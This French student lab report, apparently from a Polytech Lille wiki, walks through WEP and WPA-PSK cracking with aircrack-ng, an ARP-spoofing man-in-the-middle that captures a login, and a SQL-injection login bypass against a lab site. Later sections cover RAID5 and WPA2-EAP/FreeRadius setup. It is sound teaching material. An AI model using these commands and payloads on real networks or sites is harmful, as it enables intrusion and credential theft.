On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54701</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54701"/>
				<updated>2020-12-15T14:10:31Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Cassage de clef WEP d’un point d’accès WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
